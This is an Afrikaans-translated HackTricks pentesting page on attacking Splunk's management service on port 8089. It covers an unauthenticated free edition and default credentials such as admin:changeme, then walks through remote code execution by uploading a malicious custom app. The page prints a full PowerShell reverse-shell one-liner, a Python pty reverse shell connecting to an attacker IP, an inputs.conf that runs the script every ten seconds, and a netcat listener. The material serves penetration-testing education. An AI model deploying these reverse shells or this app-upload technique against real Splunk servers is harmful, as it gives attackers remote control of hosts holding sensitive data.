hacktricks/network-services-pentesting/8089-splunkd.md
2024-02-11 02:07:06 +00:00

8.6 KiB

8089 - Pentesting Splunkd

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Splunk is 'n loganalitiese instrument wat 'n kritieke rol speel in die versameling, analise en visualisering van data. Alhoewel sy oorspronklike doel nie was om as 'n SIEM (Security Information and Event Management) instrument te dien nie, het dit gewildheid verwerf in die gebied van sekuriteitsmonitering en sakelike analise.

Splunk-implementasies word dikwels gebruik om sensitiewe data te stoor en kan dien as 'n waardevolle bron van inligting vir potensiële aanvallers as hulle die stelsel kan kompromitteer. Verstekpoort: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Die Splunk-webbediener loop standaard op poort 8000. {% endhint %}

Opname

Gratis weergawe

Die Splunk Enterprise-proef omskep na 'n gratis weergawe na 60 dae, wat geen outentifikasie vereis nie. Dit is nie ongewoon vir stelseladministrateurs om 'n proefweergawe van Splunk te installeer om dit uit te toets, wat vervolgens vergeet word. Dit sal outomaties omskep na die gratis weergawe wat geen vorm van outentifikasie het nie, wat 'n sekuriteitslek in die omgewing inbring. Sommige organisasies mag kies vir die gratis weergawe as gevolg van begrotingsbeperkings, sonder om ten volle te besef wat die implikasies is van geen gebruiker-/rolbestuur nie.

Standaardlegitimasie

Op ouer weergawes van Splunk is die standaardlegitimasie admin:changeme, wat gerieflik op die aanmeldingsbladsy vertoon word.
Die nuutste weergawe van Splunk stel egter legitimasie in tydens die installasieproses. As die standaardlegitimasie nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos admin, Welcome, Welcome1, Password123, ens.

Verkry inligting

Sodra jy aangemeld is by Splunk, kan jy data deursoek, verslae uitvoer, dashboard skep, toepassings installeer vanaf die Splunkbase-biblioteek, en aangepaste toepassings installeer.
Jy kan ook kode uitvoer: Splunk het verskeie maniere om kode uit te voer, soos bedienerkant Django-toepassings, REST-eindpunte, geskrewe insette en waarskuwingsskripte. 'n Algemene metode om afstandsbeheerkode-uitvoering op 'n Splunk-bediener te verkry, is deur die gebruik van 'n geskrewe inset.

Verder kan Splunk op Windows- of Linux-gashere geïnstalleer word, en geskrewe insette kan geskep word om Bash-, PowerShell- of Batch-skripte uit te voer.

Shodan

  • Splunk-bou

RCE

Skep aangepaste toepassing

'n Aangepaste toepassing kan Python-, Batch-, Bash- of PowerShell-skripte uitvoer.
Let daarop dat Splunk met Python geïnstalleer kom, sodat jy selfs op Windows-stelsels python-kode kan uitvoer.

Jy kan hierdie Splunk-pakket gebruik om ons te help. Die bin-gids in hierdie bewaarplek het voorbeelde vir Python en PowerShell. Kom ons loop hierdie stap-vir-stap deur.

Om dit te bereik, moet ons eers 'n aangepaste Splunk-toepassing skep met die volgende gidsstruktuur:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Die bin gids sal enige skripte wat ons beoog om uit te voer (in hierdie geval, 'n PowerShell omgekeerde dop) bevat, en die verstek gids sal ons inputs.conf lêer hê. Ons omgekeerde dop sal 'n PowerShell een-liner wees:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Die inputs.conf lêer vertel Splunk watter skrips om uit te voer en enige ander voorwaardes. Hier stel ons die app as geaktiveer in en vertel Splunk om die skrips elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die inset (skrips) sal slegs uitgevoer word as hierdie instelling teenwoordig is.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Ons benodig die .bat lêer wat uitgevoer sal word wanneer die toepassing geïmplementeer word en die PowerShell een-liner uitvoer.

Die volgende stap is om Installeer toepassing van lêer te kies en die toepassing op te laai.

Voordat ons die skadelike aangepaste toepassing oplaai, laat ons 'n luisteraar begin deur gebruik te maak van Netcat of socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Op die Upload app bladsy, klik op deursoek, kies die tarball wat ons vroeër geskep het en klik op Upload. Sodra ons die aansoek oplaai, ontvang ons 'n omgekeerde skul as die status van die aansoek outomaties oorgeskakel word na Enabled.

Linux

As ons te doen gehad het met 'n Linux-gasheer, sou ons die rev.py Python-skripsie moet wysig voordat ons die tarball skep en die aangepaste skadelike aansoek oplaai. Die res van die proses sou dieselfde wees, en ons sou 'n omgekeerde skulverbinding op ons Netcat luisteraar kry en aan die gang wees.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

In die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te verhoog en volharding te verkry:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: